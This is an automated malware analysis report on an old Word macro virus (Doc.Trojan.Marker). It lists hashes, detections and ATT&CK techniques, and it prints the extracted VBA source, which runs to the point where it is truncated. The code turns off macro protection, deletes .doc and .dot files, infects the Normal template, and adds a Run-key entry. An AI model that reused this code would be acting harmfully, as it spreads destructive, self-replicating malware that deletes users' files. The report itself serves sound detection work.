Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 56c3b14210076f8d…

MALICIOUS

Office (OLE)

49.0 KB Created: 2000-08-10 03:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7525e5ac66b92a224d56704b5cfd7ca2 SHA-1: e49df9ef040f2e65b6ad54e95793a2299d743f06 SHA-256: 56c3b14210076f8d73459477ff60dd88693d4777634a27f54c467501d5560e88
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros, specifically a Document_Open macro designed to execute code upon opening. The macro attempts to disable virus protection, unload add-ins, delete document files, and inject its code into the Normal template, which is a common persistence technique. It also sets user information to suspicious values like 'TJ 2000' and 'TJ780611@ThePentagon.Com'.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-11
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 50,176 bytes but its declared streams total only 28,639 bytes — 21,537 bytes (43%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4402 bytes
SHA-256: db78778dc7cf153df81e13ddc2825a28b73b295cf19367adcbb70f7d2a73e44f
Detection
ClamAV: Doc.Trojan.Marker-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Const TJ780611 = "<% this is a mark by TJ780611 V1.00 %>"
Const MarkerA = "<- this is a mark by TJ780611 V1.00b"
Const MarkerB = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
    Document_Close
End Sub
Private Sub Document_Close()
    Dim oNT, oAD, oVBProject As Object
    Dim bNT, bAD As Boolean
    Dim TJY2K As String
    On Error Resume Next
    Options.VirusProtection = False
    AddIns.Unload True
    Kill Options.DefaultFilePath(8) & "\*.doc"
    Kill Options.DefaultFilePath(8) & "\*.dot"
    Application.UserName = "TJ 2000"
    Application.UserInitials = "TJY2K"
    Application.UserAddress = "TJ780611@ThePentagon.Com"
    Application.EnableCancelKey = wdCancelDisabled
    GoSub InsertCode
    GoSub ProbeMacros
    GoSub ShowMe
    GoTo Finish
InsertCode:
    Set oAD = ActiveDocument.VBProject.VBComponents.Item(1)
    Set oNT = NormalTemplate.VBProject.VBComponents.Item(1)
    bAD = oAD.CodeModule.Find(TJ780611, 1, 1, 10000, 10000)
    bNT = oNT.CodeModule.Find(TJ780611, 1, 1, 10000, 10000)
    If (bAD Xor bNT) And _
        (ActiveDocument.SaveFormat = wdFormatDocument Or _
        ActiveDocument.SaveFormat = wdFormatTemplate) Then
        If bAD Then
            TJY2K = oAD.CodeModule.Lines(1, oAD.CodeModule.CountOfLines)
            oNT.CodeModule.deletelines 1, oNT.CodeModule.CountOfLines
            oNT.CodeModule.AddFromString TJY2K
            NormalTemplate.Save
        End If
        If bNT Then
            TJY2K = oNT.CodeModule.Lines(1, oNT.CodeModule.CountOfLines)
            oAD.CodeModule.deletelines 1, oAD.CodeModule.CountOfLines
            oAD.CodeModule.AddFromString TJY2K
            If Not (ActiveDocument.Saved) Then oAD.Save
        End If
    End If
    Return
ProbeMacros:
    For Each oVBProject In ActiveDocument.VBProject.VBComponents
        If oVBProject.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
                Name:=oVBProject.Name, Object:=wdOrganizerObjectProjectItems
            If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
        End If
    Next oVBProject
    For Each oVBProject In NormalTemplate.VBProject.VBComponents
        If oVBProject.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
                Name:=oVBProject.Name, Object:=wdOrganizerObjectProjectItems
            NormalTemplate.Save
        End If
    Next oVBProject
    Return
ShowMe:
Dim RootSys As String
Dim strWP As String
On Error Resume Next
    RootSys = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
    RootSys = RootSys & "\TJ.htm"
    If Day(Date) = 11 Then
    Open RootSys For Output As #1
    Print #1, "<html><head><title>Who woman is ... </title></head>"
    Print #1, "<body bgcolor='#FFFF00'>"
    Print #1, "<h1 align='center'><marquee>Woman...</marquee></h1>"
    Print #1, "<p align = 'center'><font size='4'>Woman is created from a rib of a man"
    Print #1, "<br>Not from his head, to be above him"
    Print #1, "<br>Nor his feet, to be walked upon"
    Print #1, "<br>But from his chest, to be hugged"
    Print #1, "<br>Near his arm, to be protected"
    Print #1, "<br>And close to his heart, to be loved</font></p>"
    Print #1, "</body></html>"
    Close #1
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootSys
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Woman") = RootSys
    End If
    strWP = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Woman")
    If Day(Da
... (truncated)